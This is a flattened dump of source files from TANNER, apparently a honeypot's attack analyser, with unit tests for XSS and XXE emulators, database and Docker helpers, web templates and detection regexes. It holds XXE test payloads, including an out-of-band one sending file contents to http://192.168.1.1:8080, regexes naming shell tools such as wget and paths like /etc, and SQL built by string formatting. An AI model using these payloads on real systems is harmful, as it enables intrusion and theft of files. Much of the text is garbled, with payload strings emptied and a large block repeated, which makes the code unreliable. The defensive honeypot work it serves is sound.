lfi:2" "
rfi:1
sqli:0
xss:1
\n
\n '
''
)
self.assertIn(self.expected_content, self.returned_content)
@unittest_run_loop
async def test_handle_sessions_error(self):
with self.assertLogs(level="ERROR") as log:
response = await self.client.request(
"GET",
"/8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4/sessions/page/1?filters=start_time:1497890400,peer_ip:127.0.0.1",
) # noqa
self.assertIn("Filter error :", log.output[0])
@unittest_run_loop
async def test_sessions_info(self):
session = dict(
cookies={"sess_uuid": "9f82e5d0e6b64047bba996222d45e72c"},
possible_owners={"user": 1.0},
attack_count={"lfi": 1},
)
self.handler.api.return_session_info = AsyncMock(return_value=session)
self.expected_content = (
"Cookies \n \n \n "
"sess_uuid : 9f82e5d0e6b64047bba996222d45e72c
\n \n \n \n "
"\n Referer \n \n \n "
"Possible Owners \n \n \n "
'user : 1.0
\n' ) response = await self.client.request("GET", "/session/da1811cd19d748058bc02ee5bf9029d4") self.returned_content = await response.text() self.assertIn(self.expected_content, self.returned_content) ================================================ FILE: tanner/tests/test_xss_emulator.py ================================================ import asyncio import unittest from tanner.emulators import xss from tanner.utils import patterns class TestXSSEmulator(unittest.TestCase): def setUp(self): self.loop = asyncio.new_event_loop() asyncio.set_event_loop(None) self.handler = xss.XssEmulator() def test_scan(self): attack = "" assert_result = dict(name="xss", order=3) result = self.handler.scan(attack) self.assertEqual(result, assert_result) def test_scan_negative(self): attack = "alert(1);" assert_result = None result = self.handler.scan(attack) self.assertEqual(result, assert_result) def test_xxs_mako_regex(self): # Mako payloads can be matched with XSS but not vice versa test_mako = "<% x=7*7 %>${x}" # basic mako injection payload verify_mako = patterns.TEMPLATE_INJECTION_MAKO.match(test_mako) assert_result = dict(name="xss", order=3) result = self.handler.scan(test_mako) self.assertEqual(result, assert_result) self.assertTrue(verify_mako) def test_multiple_xss(self): attack_params = [ dict(id="comment", value=""), dict(id="name", value=""), dict(id="email", value=""), ] xss = self.loop.run_until_complete(self.handler.handle(attack_params, None)) assert_result = "" self.assertIn(assert_result, xss["value"]) def test_xss(self): attack_params = [dict(id="foo", value="")] xss = self.loop.run_until_complete(self.handler.handle(attack_params, None)) assert_result = dict(value=attack_params[0]["value"], page=True) self.assertDictEqual(xss, assert_result) ================================================ FILE: tanner/tests/test_xxe_injection.py ================================================ import asyncio import unittest from unittest import mock from tanner import config from tanner.utils.asyncmock import AsyncMock from tanner.emulators.xxe_injection import XXEInjection class TestXXEInjection(unittest.TestCase): def setUp(self): self.loop = asyncio.new_event_loop() asyncio.set_event_loop(None) self.handler = XXEInjection(loop=self.loop) self.result = None self.expected_result = None self.returned_result = None def test_scan(self): payload = '' "" self.expected_result = dict(name="xxe_injection", order=3) self.returned_result = self.handler.scan(payload) self.assertEqual(self.returned_result, self.expected_result) def test_scan_negative(self): payload = ']>' self.expected_result = None self.returned_result = self.handler.scan(payload) self.assertEqual(self.returned_result, self.expected_result) def test_handle_status_code(self): self.handler.get_injection_result = AsyncMock(return_value=None) attack_params = [dict(id="foo", value=']>')] self.expected_result = dict(status_code=504) async def test(): self.returned_result = await self.handler.handle(attack_params) self.loop.run_until_complete(test()) self.assertEqual(self.returned_result, self.expected_result) def test_handle(self): config.TannerConfig.get = mock.MagicMock(return_value=False) code = ( '' "" ']>' "&xxe;" ) attack_params = [dict(id="foo", value=code)] self.handler.helper.get_result = AsyncMock( return_value={ "file_md5": "a43deb0f2d7904cbb6c27c02ed7c2593", "stdout": "root:x:0:0:root:/root:/bin/bash\n\n" "daemon:x:1:1:daemon:/usr/sbin", } ) self.expected_result = "root:x:0:0:root:/root:/bin/bash" async def test(): self.returned_result = await self.handler.handle(attack_params) self.loop.run_until_complete(test()) self.assertIn(self.expected_result, self.returned_result["value"]) def test_handle_oob(self): config.TannerConfig.get = mock.MagicMock(return_value=True) code = ( '' "" '' "" '"http://192.168.1.1:8080/?p=%xxe;">\'> ' ) attack_params = [dict(id="OOB", value=code)] self.handler.helper.get_result = AsyncMock( return_value={ "file_md5": "a43deb0f2d7904cbb6c27c02ed7c2593", "stdout": "root:x:0:0:root:/root:/bin/bash\n\n" "daemon:x:1:1:daemon:/usr/sbin", } ) self.expected_result = "" async def test(): self.returned_result = await self.handler.handle(attack_params) self.loop.run_until_complete(test()) self.assertEqual(self.returned_result["value"], self.expected_result) ================================================ FILE: tanner/utils/__init__.py ================================================ ================================================ FILE: tanner/utils/aiodocker_helper.py ================================================ import aiodocker import logging from tanner.config import TannerConfig class AIODockerHelper: def __init__(self): self.logger = logging.getLogger("tanner.aiodocker_helper.AIODockerHelper") self.docker_client = aiodocker.Docker() self.host_image = TannerConfig.get("DOCKER", "host_image") async def setup_host_image(self, remote_path=None, tag=None): """ Helper to pull host image or build an image with remote Dockerfile :param remote_path (str): remote path of Dockerfile :param tag (str): tag to be given to new image build ex: 'myimage:latest' """ try: if remote_path and tag is not None: params = {"tag": tag, "remote": remote_path} await self.docker_client.images.build(**params) else: image = await self.docker_client.images.list(filter=self.host_image) if not image: await self.docker_client.images.pull(self.host_image) except aiodocker.exceptions.DockerError as docker_error: self.logger.exception("Error while pulling %s image %s", self.host_image, docker_error) async def get_container(self, container_name): """ Gets the container object having specified name :param container_name (str): name of the target container :return: container (object) """ container = None try: container = await self.docker_client.containers.get(container=container_name) except aiodocker.exceptions.DockerError as server_error: self.logger.exception("Error while fetching %s container %s", container_name, server_error) return container async def create_container(self, container_name, cmd=None, image=None): """ Helper to create or replace a container (initially pulls the given image) :param container_name (str): name to be given to new container or replace existing if any :param cmd (list): contains commands to run in the container. ex: ["sh", "-c", "echo 'Hello'"] :param image (str): name of image to be used :return: container (object): newly created container object """ await self.setup_host_image() container = None if image is None: image = self.host_image config = {"Cmd": cmd, "Image": image} try: container = await self.docker_client.containers.create_or_replace(config=config, name=container_name) except (aiodocker.exceptions.DockerError or aiodocker.exceptions.DockerContainerError) as docker_error: self.logger.exception("Error while creating a container %s", docker_error) return container async def execute_cmd(self, cmd, image=None): """ Creates a new container, runs the cmd in it and deletes the used container :param cmd (list): contains commands to run in the container. ex: ["sh", "-c", "echo 'Hello'"] :param image (str): name of image to be used :return: execute_result (str): execution output/errors of cmd from the container """ execute_result = None try: if image is None: image = self.host_image config = {"Cmd": cmd, "Image": image} container = await self.docker_client.containers.run(config=config) await container.wait() result_exists = await container.log(stdout=True, stderr=True) if result_exists: execute_result = "".join(result_exists) # Deleting the used container await container.delete(force=True) except (aiodocker.exceptions.DockerError or aiodocker.exceptions.DockerContainerError) as server_error: self.logger.error("Error while executing command %s in container %s", cmd, server_error) return execute_result async def delete_container(self, container_name): """ Delete an existing container :param container_name (str): name of container to be deleted """ container = await self.get_container(container_name) try: if container: await container.delete(force=True) except aiodocker.exceptions.DockerError as server_error: self.logger.exception("Error while removing %s container %s", container_name, server_error) ================================================ FILE: tanner/utils/api_key_generator.py ================================================ import jwt from tanner.config import TannerConfig def generate(): key = TannerConfig.get("API", "auth_signature") encoded = jwt.encode({"user": "tanner_owner"}, key, algorithm="HS256") return encoded.decode("utf-8") ================================================ FILE: tanner/utils/asyncmock.py ================================================ from unittest.mock import Mock class AsyncMock(Mock): # custom function defined to mock asyncio coroutines def __call__(self, *args, **kwargs): sup = super(AsyncMock, self) async def coro(): return sup.__call__(*args, **kwargs) return coro() def __await__(self): return self().__await__() ================================================ FILE: tanner/utils/base_db_helper.py ================================================ import json import logging import random import mimesis from tanner.config import TannerConfig class BaseDBHelper: def __init__(self): self.logger = logging.getLogger("tanner.base_db_helper.BaseDBHelper") def read_config(self): with open(TannerConfig.get("DATA", "db_config")) as db_config: try: config = json.load(db_config) except json.JSONDecodeError as json_error: self.logger.info("Failed to load json: %s", json_error) else: return config @staticmethod def generate_dummy_data(data_tokens): """ Insert dummy data based on data tokens I - integer id L - login/username E - email P - password T - piece of text :return: """ token_list = data_tokens.split(",") samples_count = random.randint(100, 1000) inserted_data = [] for i in range(samples_count): values = [] person = mimesis.Person("en") for token in token_list: person = mimesis.Person() if token == "I": values.append(i) if token == "L": data = person.username() values.append(data) if token == "E": data = person.email() values.append(data) if token == "P": data = person.password() values.append(data) if token == "T": sample_length = random.randint(1, 10) data = mimesis.Text().text(quantity=sample_length) values.append(data) inserted_data.append(tuple(values)) return inserted_data, token_list ================================================ FILE: tanner/utils/logger.py ================================================ import logging import logging.handlers from tanner.config import TannerConfig class LevelFilter(logging.Filter): """Filters (lets through) all messages with level < LEVEL""" def __init__(self, level): self.level = level def filter(self, record): # "<" instead of "<=": since logger.setLevel is inclusive, this should be exclusive return record.levelno < self.level class Logger: @staticmethod def create_logger(debug_filename, err_filename, logger_name): if TannerConfig.get("CLEANLOG", "enabled") == "True": with open(err_filename, "w"): pass logger = logging.getLogger(logger_name) logger.setLevel(logging.DEBUG) logger.propagate = False formatter = logging.Formatter( fmt="%(asctime)s %(levelname)s:%(name)s:%(funcName)s: %(message)s", datefmt="%Y-%m-%d %H:%M:%S" ) # ERROR log to 'tanner.err' error_log_handler = logging.handlers.RotatingFileHandler(err_filename, encoding="utf-8") error_log_handler.setLevel(logging.ERROR) error_log_handler.setFormatter(formatter) logger.addHandler(error_log_handler) # DEBUG log to 'tanner.log' debug_log_handler = logging.handlers.RotatingFileHandler(debug_filename, encoding="utf-8") debug_log_handler.setLevel(logging.DEBUG) debug_log_handler.setFormatter(formatter) max_level_filter = LevelFilter(logging.ERROR) debug_log_handler.addFilter(max_level_filter) logger.addHandler(debug_log_handler) return logger ================================================ FILE: tanner/utils/mysql_db_helper.py ================================================ import logging import subprocess import aiomysql from tanner.config import TannerConfig from tanner.utils.base_db_helper import BaseDBHelper class MySQLDBHelper(BaseDBHelper): # Helper Utility of basic functions for mysqli emulator def __init__(self): super(MySQLDBHelper, self).__init__() self.logger = logging.getLogger("tanner.db_helper.MySQLDBHelper") async def connect_to_db(self): """ Creates a aiomysql connection :return: connection object """ conn = await aiomysql.connect( host=TannerConfig.get("SQLI", "host"), user=TannerConfig.get("SQLI", "user"), password=TannerConfig.get("SQLI", "password"), ) return conn async def check_db_exists(self, db_name): """ Checks if DB exists or not :param db_name (str): mysql db name :return: result (int): 0 if no such database exists else 1 """ conn = await self.connect_to_db() cursor = await conn.cursor() check_DB_exists_query = "SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA " check_DB_exists_query += "WHERE SCHEMA_NAME='{db_name}'".format(db_name=db_name) await cursor.execute(check_DB_exists_query) result = await cursor.fetchall() return len(result) async def setup_db_from_config(self, name=None): """ Helper function to setup DB from db_config.json and inserts dummy data in the created DB. :param name (str): database name """ config = self.read_config() if name is not None: db_name = name else: db_name = config["name"] conn = await self.connect_to_db() cursor = await conn.cursor() create_db_query = "CREATE DATABASE {db_name}" await cursor.execute(create_db_query.format(db_name=db_name)) await cursor.execute("USE {db_name}".format(db_name=db_name)) for table in config["tables"]: query = table["schema"] await cursor.execute(query) await self.insert_dummy_data(table["table_name"], table["data_tokens"], cursor) await conn.commit() conn.close() async def delete_db(self, db): """ Deletes the database :param db (str): db name to be deleted """ conn = await self.connect_to_db() cursor = await conn.cursor() delete_db_query = "DROP DATABASE {db_name}" await cursor.execute(delete_db_query.format(db_name=db)) await conn.commit() conn.close() async def copy_db(self, user_db, attacker_db): """ Copies the user database to new attacker database :param user_db (str): existing user db :param attacker_db (str): new db to be created :return: new created db (str) """ db_exists = await self.check_db_exists(attacker_db) if db_exists: self.logger.info("Attacker db already exists") else: # create new attacker db conn = await self.connect_to_db() cursor = await conn.cursor() await cursor.execute("CREATE DATABASE {db_name}".format(db_name=attacker_db)) conn.close() # copy user db to attacker db dump_db_cmd = "mysqldump -h {host} -u {user} -p{password} {db_name}" restore_db_cmd = "mysql -h {host} -u {user} -p{password} {db_name}" dump_db_cmd = dump_db_cmd.format( host=TannerConfig.get("SQLI", "host"), user=TannerConfig.get("SQLI", "user"), password=TannerConfig.get("SQLI", "password"), db_name=user_db, ) restore_db_cmd = restore_db_cmd.format( host=TannerConfig.get("SQLI", "host"), user=TannerConfig.get("SQLI", "user"), password=TannerConfig.get("SQLI", "password"), db_name=attacker_db, ) try: dump_db_process = subprocess.Popen(dump_db_cmd, stdout=subprocess.PIPE, shell=True) restore_db_process = subprocess.Popen(restore_db_cmd, stdin=dump_db_process.stdout, shell=True) dump_db_process.stdout.close() dump_db_process.wait() restore_db_process.wait() except subprocess.CalledProcessError as e: self.logger.exception("Error during copying sql database : %s" % e) return attacker_db async def insert_dummy_data(self, table_name, data_tokens, cursor): """ Inserts dummy data in the table based on input data tokens for ex: 'I,L' :param table_name (str): table in which data to be inserted :param data_tokens (str): input data format tokens :param cursor (object): current db cursor """ inserted_data, token_list = self.generate_dummy_data(data_tokens) inserted_string_patt = "%s" if len(token_list) > 1: inserted_string_patt += "," inserted_string_patt *= len(token_list) inserted_string_patt = inserted_string_patt[:-1] await cursor.executemany("INSERT INTO " + table_name + " VALUES(" + inserted_string_patt + ")", inserted_data) async def create_query_map(self, db_name): """ Returns a query map of the tables and its columns present in the database :param db_name (str): current database :return: query_map (dict): Created Query Map """ query_map = {} tables = [] conn = await self.connect_to_db() cursor = await conn.cursor() select_tables = "SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema= '{db_name}'" try: await cursor.execute(select_tables.format(db_name=db_name)) result = await cursor.fetchall() for row in result: tables.append(row[0]) except Exception as e: self.logger.exception("Error during query map creation") else: query_map = dict.fromkeys(tables) for table in tables: query = "SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE \ table_name= '{table_name}' AND table_schema= '{db_name}'" columns = [] try: await cursor.execute(query.format(table_name=table, db_name=db_name)) result = await cursor.fetchall() for row in result: if row[7] == "int": columns.append(dict(name=row[3], type="INTEGER")) else: columns.append(dict(name=row[3], type="TEXT")) query_map[table] = columns except Exception: self.logger.exception("Error during query map creation") return query_map ================================================ FILE: tanner/utils/patterns.py ================================================ import re INDEX = re.compile(r"(/index.html|/)") RFI_ATTACK = re.compile(r".*((http(s){0,1}|ftp(s){0,1}):).*", re.IGNORECASE) LFI_ATTACK = re.compile(r".*(/\.\.)*(home|proc|usr|etc)/.*") LFI_FILEPATH = re.compile(r"((\.\.|/).*)") CMD_ATTACK = re.compile( r".*[^A-z:./]" r"(alias|cat|cd|cp|echo|exec|find|for|grep|ifconfig|ls|man|mkdir|netstat|ping|ps|pwd|uname|wget|touch|while)" r"([^A-z:./]|\b)" ) PHP_CODE_INJECTION = re.compile(r".*(;)*(echo|system|print|phpinfo)(\(.*\)).*") PHP_OBJECT_INJECTION = re.compile(r"(^|;|{|})O:[0-9]+:") CRLF_ATTACK = re.compile(r".*(\r\n).*") XXE_INJECTION = re.compile(r".*<(\?xml|(!DOCTYPE.*)).*>") TEMPLATE_INJECTION_MAKO = re.compile(r".*(<%.*|\s%>).*") TEMPLATE_INJECTION_TORNADO = re.compile(r".*({{.*}}).*") XSS_ATTACK = re.compile(r".*<(.|\n)*?>") REMOTE_FILE_URL = re.compile(r"(.*(http(s){0,1}|ftp(s){0,1}):.*)") WORD_PRESS_CONTENT = re.compile(r"/wp-content/.*") HTML_TAGS = re.compile(r".*<(.*)>.*") QUERY = re.compile(r".*\?.*=") ================================================ FILE: tanner/utils/php_sandbox_helper.py ================================================ import logging import asyncio import aiohttp from tanner import config class PHPSandboxHelper: def __init__(self, loop): self.logger = logging.getLogger("tanner.php_sandbox_helper.PHPSandboxHelper") self._loop = loop if loop is not None else asyncio.get_event_loop() async def get_result(self, code): """ Helper utility to get injection results from PHPOX :param code: Payload from the attacker to be injected in vulnerable code :return: Dict object containing file_md5 and stdout - contains injection results """ result = None phpox_address = "http://{host}:{port}".format( host=config.TannerConfig.get("PHPOX", "host"), port=config.TannerConfig.get("PHPOX", "port") ) try: async with aiohttp.ClientSession(loop=self._loop) as session: async with session.post(phpox_address, data=code) as resp: result = await resp.json() except aiohttp.ClientError as client_error: self.logger.error("Error during connection to php sandbox %s", client_error) finally: await session.close() return result ================================================ FILE: tanner/utils/sqlite_db_helper.py ================================================ import logging import os import shutil import sqlite3 from tanner.utils.base_db_helper import BaseDBHelper class SQLITEDBHelper(BaseDBHelper): def __init__(self): super(SQLITEDBHelper, self).__init__() self.logger = logging.getLogger("tanner.sqlite_db_helper.SQLITEDBHelper") async def setup_db_from_config(self, working_dir, name=None): """ Creates database using config (dict object containing name and tables as keys) :param working_dir: Current working directory :param name: Name of database to be created """ config = self.read_config() if name is not None: db_name = os.path.join(working_dir, name) else: db_name = os.path.join(working_dir, config["name"]) conn = sqlite3.connect(db_name) cursor = conn.cursor() for table in config["tables"]: query = table["schema"] cursor.execute(query) await self.insert_dummy_data(table["table_name"], table["data_tokens"], cursor) conn.commit() conn.close() @staticmethod def get_abs_path(path, working_dir): """ Returns the full path with working directory :param path (str): Current path :param working_dir (str): Current working directory :return: str of full path """ if not os.path.isabs(path): path = os.path.normpath(os.path.join(working_dir, path)) return path @staticmethod def delete_db(db): if db is not None and os.path.exists(db): os.remove(db) def copy_db(self, src, dst, working_dir): src = self.get_abs_path(src, working_dir) dst = self.get_abs_path(dst, working_dir) if os.path.exists(dst): self.logger.info("Attacker db already exists") else: shutil.copy(src, dst) return dst async def insert_dummy_data(self, table_name, data_tokens, cursor): """ Inserts Dummy data in the current sqlite database :param table_name (str): Table to inject dummy data :param data_tokens (str): Tokens to generate dummy data, eg: 'I,L' to get integer ID and username data :param cursor (object): Cursor attached with current DB """ inserted_data, token_list = self.generate_dummy_data(data_tokens) inserted_string_patt = "?" if len(token_list) > 1: inserted_string_patt += "," inserted_string_patt *= len(token_list) inserted_string_patt = inserted_string_patt[:-1] cursor.executemany("INSERT INTO " + table_name + " VALUES(" + inserted_string_patt + ")", inserted_data) def create_query_map( self, working_dir, db_name, ): """ Returns a query map from all the present tables and its columns :param working_dir (str): Current working directory :param db_name (str): Current sqlite database :return: Dict object with tables names as keys and list of columns as its values """ query_map = {} tables = [] db = os.path.join(working_dir, db_name) conn = sqlite3.connect(db) cursor = conn.cursor() select_tables = "SELECT name FROM sqlite_master WHERE type='table'" try: for row in cursor.execute(select_tables): tables.append(row[0]) except sqlite3.OperationalError as sqlite_error: self.logger.exception("Error during query map creation: %s", sqlite_error) else: query_map = dict.fromkeys(tables) for table in tables: query = "PRAGMA table_info(" + table + ")" columns = [] try: for row in cursor.execute(query): columns.append(dict(name=row[1], type=row[2])) query_map[table] = columns except sqlite3.OperationalError as sqlite_error: self.logger.exception("Error during query map creation: %s", sqlite_error) return query_map ================================================ FILE: tanner/web/__init__.py ================================================ ================================================ FILE: tanner/web/server.py ================================================ import asyncio import logging import aiohttp_jinja2 import jinja2 from aiohttp import web from tanner.api import api from tanner import redis_client from tanner.config import TannerConfig from tanner import __version__ as tanner_version class TannerWebServer: def __init__(self): self.logger = logging.getLogger("tanner.web.tannerwebserver") self.api = None self.redis_client = None @aiohttp_jinja2.template("index.html") async def handle_index(self, request): snares = await self.api.return_snares() latest_session = await self.api.return_latest_session() count = len(snares) return {"count": count, "l_session": latest_session, "version": tanner_version} @aiohttp_jinja2.template("snares.html") async def handle_snares(self, request): snares = await self.api.return_snares() return {"snares": snares} @aiohttp_jinja2.template("snare.html") async def handle_snare(self, request): snare_uuid = request.match_info["snare_uuid"] return {"snare": snare_uuid} @aiohttp_jinja2.template("snare-stats.html") async def handle_snare_stats(self, request): snare_uuid = request.match_info["snare_uuid"] snare_stats = await self.api.return_snare_stats(snare_uuid) return {"snare_stats": snare_stats} @aiohttp_jinja2.template("sessions.html") async def handle_sessions(self, request): snare_uuid = request.match_info["snare_uuid"] page_id = int(request.match_info["page_id"]) params = request.url.query applied_filters = {"snare_uuid": snare_uuid} try: if "filters" in params: for filt in params["filters"].split(): applied_filters[filt.split(":")[0]] = filt.split(":")[1] if "start_time" in applied_filters: applied_filters["start_time"] = float(applied_filters["start_time"]) if "end_time" in applied_filters: applied_filters["end_time"] = float(applied_filters["end_time"]) except Exception as e: self.logger.exception("Filter error : %s" % e) result = "Invalid filter definition" else: sessions = await self.api.return_sessions(applied_filters) result = sessions[15 * (page_id - 1) : 15 * page_id] next_val = None pre_val = None if page_id * 15 <= len(sessions): next_val = "/{snare_uuid}/sessions/page/{page_id}".format( snare_uuid=snare_uuid, page_id=str(page_id + 1) ) if len(applied_filters) > 1: next_val += "?filters={filters}".format(filters=params["filters"]) if page_id > 1: pre_val = "/{snare_uuid}/sessions/page/{page_id}".format( snare_uuid=snare_uuid, page_id=str(page_id - 1) ) if len(applied_filters) > 1: pre_val += "?filters={filters}".format(filters=params["filters"]) return {"sessions": result, "next_val": next_val, "pre_val": pre_val} @aiohttp_jinja2.template("session.html") async def handle_session_info(self, request): sess_uuid = request.match_info["sess_uuid"] session = await self.api.return_session_info(sess_uuid) return {"session": session} async def on_shutdown(self, app): await self.redis_client.close() def setup_routes(self, app): app.router.add_get("/", self.handle_index) app.router.add_get("/snares", self.handle_snares) app.router.add_resource("/snare/{snare_uuid}").add_route("GET", self.handle_snare) app.router.add_resource("/snare-stats/{snare_uuid}").add_route("GET", self.handle_snare_stats) app.router.add_resource("/session/{sess_uuid}").add_route("GET", self.handle_session_info) app.router.add_resource("/{snare_uuid}/sessions/page/{page_id}").add_route("GET", self.handle_sessions) app.router.add_static("/static/", path="tanner/web/static") async def make_app(self): app = web.Application() aiohttp_jinja2.setup(app, loader=jinja2.FileSystemLoader("tanner/web/templates")) app.on_shutdown.append(self.on_shutdown) self.setup_routes(app) return app def start(self): loop = asyncio.get_event_loop() self.redis_client = loop.run_until_complete(redis_client.RedisClient.get_redis_client(poolsize=20)) self.api = api.Api(self.redis_client) host = TannerConfig.get("WEB", "host") port = int(TannerConfig.get("WEB", "port")) web.run_app(self.make_app(), host=host, port=port) ================================================ FILE: tanner/web/static/css/styles.css ================================================ table { border-collapse: collapse; width: 80%; } th, td { padding: 8px; text-align: left; border-bottom: 1px solid #ddd; } tr:hover{ background-color:#f5f5f5 } ================================================ FILE: tanner/web/static/js/site.js ================================================ function findGetParameter(parameterName) { var result = null, tmp = []; location.search .substr(1) .split("&") .forEach(function (item) { tmp = item.split("="); if (tmp[0] === parameterName) result = decodeURIComponent(tmp[1]); }); return result; } document.getElementById('filters').value = findGetParameter("filters"); ================================================ FILE: tanner/web/templates/base.html ================================================{% block title %}{% endblock %} - Tanner Web
{% endblock %}
================================================
FILE: tanner/web/templates/session.html
================================================
{% extends "base.html" %}
{% block title %}Session({{session.sess_uuid}}){% endblock %}
{% block content %}
{% endblock %}
================================================
FILE: tanner/web/templates/sessions.html
================================================
{% extends "base.html" %}
{% block title %}Snare Sessions{% endblock %}
{% block content %}
{% endblock %} ================================================ FILE: tanner/web/templates/snare-stats.html ================================================ {% extends "base.html" %} {% block title %}SNARE-STATS{% endblock %} {% block content %}
{% endblock %}
================================================
FILE: tanner/web/templates/snare.html
================================================
{% extends "base.html" %}
{% block title %}Snare({{snare}}){% endblock %}
{% block content %}
{% endblock %}
\n \n
\n' ) response = await self.client.request("GET", "/session/da1811cd19d748058bc02ee5bf9029d4") self.returned_content = await response.text() self.assertIn(self.expected_content, self.returned_content) ================================================ FILE: tanner/tests/test_xss_emulator.py ================================================ import asyncio import unittest from tanner.emulators import xss from tanner.utils import patterns class TestXSSEmulator(unittest.TestCase): def setUp(self): self.loop = asyncio.new_event_loop() asyncio.set_event_loop(None) self.handler = xss.XssEmulator() def test_scan(self): attack = "" assert_result = dict(name="xss", order=3) result = self.handler.scan(attack) self.assertEqual(result, assert_result) def test_scan_negative(self): attack = "alert(1);" assert_result = None result = self.handler.scan(attack) self.assertEqual(result, assert_result) def test_xxs_mako_regex(self): # Mako payloads can be matched with XSS but not vice versa test_mako = "<% x=7*7 %>${x}" # basic mako injection payload verify_mako = patterns.TEMPLATE_INJECTION_MAKO.match(test_mako) assert_result = dict(name="xss", order=3) result = self.handler.scan(test_mako) self.assertEqual(result, assert_result) self.assertTrue(verify_mako) def test_multiple_xss(self): attack_params = [ dict(id="comment", value=""), dict(id="name", value=""), dict(id="email", value=""), ] xss = self.loop.run_until_complete(self.handler.handle(attack_params, None)) assert_result = "" self.assertIn(assert_result, xss["value"]) def test_xss(self): attack_params = [dict(id="foo", value="")] xss = self.loop.run_until_complete(self.handler.handle(attack_params, None)) assert_result = dict(value=attack_params[0]["value"], page=True) self.assertDictEqual(xss, assert_result) ================================================ FILE: tanner/tests/test_xxe_injection.py ================================================ import asyncio import unittest from unittest import mock from tanner import config from tanner.utils.asyncmock import AsyncMock from tanner.emulators.xxe_injection import XXEInjection class TestXXEInjection(unittest.TestCase): def setUp(self): self.loop = asyncio.new_event_loop() asyncio.set_event_loop(None) self.handler = XXEInjection(loop=self.loop) self.result = None self.expected_result = None self.returned_result = None def test_scan(self): payload = '' "" self.expected_result = dict(name="xxe_injection", order=3) self.returned_result = self.handler.scan(payload) self.assertEqual(self.returned_result, self.expected_result) def test_scan_negative(self): payload = ']>' self.expected_result = None self.returned_result = self.handler.scan(payload) self.assertEqual(self.returned_result, self.expected_result) def test_handle_status_code(self): self.handler.get_injection_result = AsyncMock(return_value=None) attack_params = [dict(id="foo", value=']>')] self.expected_result = dict(status_code=504) async def test(): self.returned_result = await self.handler.handle(attack_params) self.loop.run_until_complete(test()) self.assertEqual(self.returned_result, self.expected_result) def test_handle(self): config.TannerConfig.get = mock.MagicMock(return_value=False) code = ( '' "" ']>' "&xxe;" ) attack_params = [dict(id="foo", value=code)] self.handler.helper.get_result = AsyncMock( return_value={ "file_md5": "a43deb0f2d7904cbb6c27c02ed7c2593", "stdout": "root:x:0:0:root:/root:/bin/bash\n\n" "daemon:x:1:1:daemon:/usr/sbin", } ) self.expected_result = "root:x:0:0:root:/root:/bin/bash" async def test(): self.returned_result = await self.handler.handle(attack_params) self.loop.run_until_complete(test()) self.assertIn(self.expected_result, self.returned_result["value"]) def test_handle_oob(self): config.TannerConfig.get = mock.MagicMock(return_value=True) code = ( '' "" '' "" '"http://192.168.1.1:8080/?p=%xxe;">\'> ' ) attack_params = [dict(id="OOB", value=code)] self.handler.helper.get_result = AsyncMock( return_value={ "file_md5": "a43deb0f2d7904cbb6c27c02ed7c2593", "stdout": "root:x:0:0:root:/root:/bin/bash\n\n" "daemon:x:1:1:daemon:/usr/sbin", } ) self.expected_result = "" async def test(): self.returned_result = await self.handler.handle(attack_params) self.loop.run_until_complete(test()) self.assertEqual(self.returned_result["value"], self.expected_result) ================================================ FILE: tanner/utils/__init__.py ================================================ ================================================ FILE: tanner/utils/aiodocker_helper.py ================================================ import aiodocker import logging from tanner.config import TannerConfig class AIODockerHelper: def __init__(self): self.logger = logging.getLogger("tanner.aiodocker_helper.AIODockerHelper") self.docker_client = aiodocker.Docker() self.host_image = TannerConfig.get("DOCKER", "host_image") async def setup_host_image(self, remote_path=None, tag=None): """ Helper to pull host image or build an image with remote Dockerfile :param remote_path (str): remote path of Dockerfile :param tag (str): tag to be given to new image build ex: 'myimage:latest' """ try: if remote_path and tag is not None: params = {"tag": tag, "remote": remote_path} await self.docker_client.images.build(**params) else: image = await self.docker_client.images.list(filter=self.host_image) if not image: await self.docker_client.images.pull(self.host_image) except aiodocker.exceptions.DockerError as docker_error: self.logger.exception("Error while pulling %s image %s", self.host_image, docker_error) async def get_container(self, container_name): """ Gets the container object having specified name :param container_name (str): name of the target container :return: container (object) """ container = None try: container = await self.docker_client.containers.get(container=container_name) except aiodocker.exceptions.DockerError as server_error: self.logger.exception("Error while fetching %s container %s", container_name, server_error) return container async def create_container(self, container_name, cmd=None, image=None): """ Helper to create or replace a container (initially pulls the given image) :param container_name (str): name to be given to new container or replace existing if any :param cmd (list): contains commands to run in the container. ex: ["sh", "-c", "echo 'Hello'"] :param image (str): name of image to be used :return: container (object): newly created container object """ await self.setup_host_image() container = None if image is None: image = self.host_image config = {"Cmd": cmd, "Image": image} try: container = await self.docker_client.containers.create_or_replace(config=config, name=container_name) except (aiodocker.exceptions.DockerError or aiodocker.exceptions.DockerContainerError) as docker_error: self.logger.exception("Error while creating a container %s", docker_error) return container async def execute_cmd(self, cmd, image=None): """ Creates a new container, runs the cmd in it and deletes the used container :param cmd (list): contains commands to run in the container. ex: ["sh", "-c", "echo 'Hello'"] :param image (str): name of image to be used :return: execute_result (str): execution output/errors of cmd from the container """ execute_result = None try: if image is None: image = self.host_image config = {"Cmd": cmd, "Image": image} container = await self.docker_client.containers.run(config=config) await container.wait() result_exists = await container.log(stdout=True, stderr=True) if result_exists: execute_result = "".join(result_exists) # Deleting the used container await container.delete(force=True) except (aiodocker.exceptions.DockerError or aiodocker.exceptions.DockerContainerError) as server_error: self.logger.error("Error while executing command %s in container %s", cmd, server_error) return execute_result async def delete_container(self, container_name): """ Delete an existing container :param container_name (str): name of container to be deleted """ container = await self.get_container(container_name) try: if container: await container.delete(force=True) except aiodocker.exceptions.DockerError as server_error: self.logger.exception("Error while removing %s container %s", container_name, server_error) ================================================ FILE: tanner/utils/api_key_generator.py ================================================ import jwt from tanner.config import TannerConfig def generate(): key = TannerConfig.get("API", "auth_signature") encoded = jwt.encode({"user": "tanner_owner"}, key, algorithm="HS256") return encoded.decode("utf-8") ================================================ FILE: tanner/utils/asyncmock.py ================================================ from unittest.mock import Mock class AsyncMock(Mock): # custom function defined to mock asyncio coroutines def __call__(self, *args, **kwargs): sup = super(AsyncMock, self) async def coro(): return sup.__call__(*args, **kwargs) return coro() def __await__(self): return self().__await__() ================================================ FILE: tanner/utils/base_db_helper.py ================================================ import json import logging import random import mimesis from tanner.config import TannerConfig class BaseDBHelper: def __init__(self): self.logger = logging.getLogger("tanner.base_db_helper.BaseDBHelper") def read_config(self): with open(TannerConfig.get("DATA", "db_config")) as db_config: try: config = json.load(db_config) except json.JSONDecodeError as json_error: self.logger.info("Failed to load json: %s", json_error) else: return config 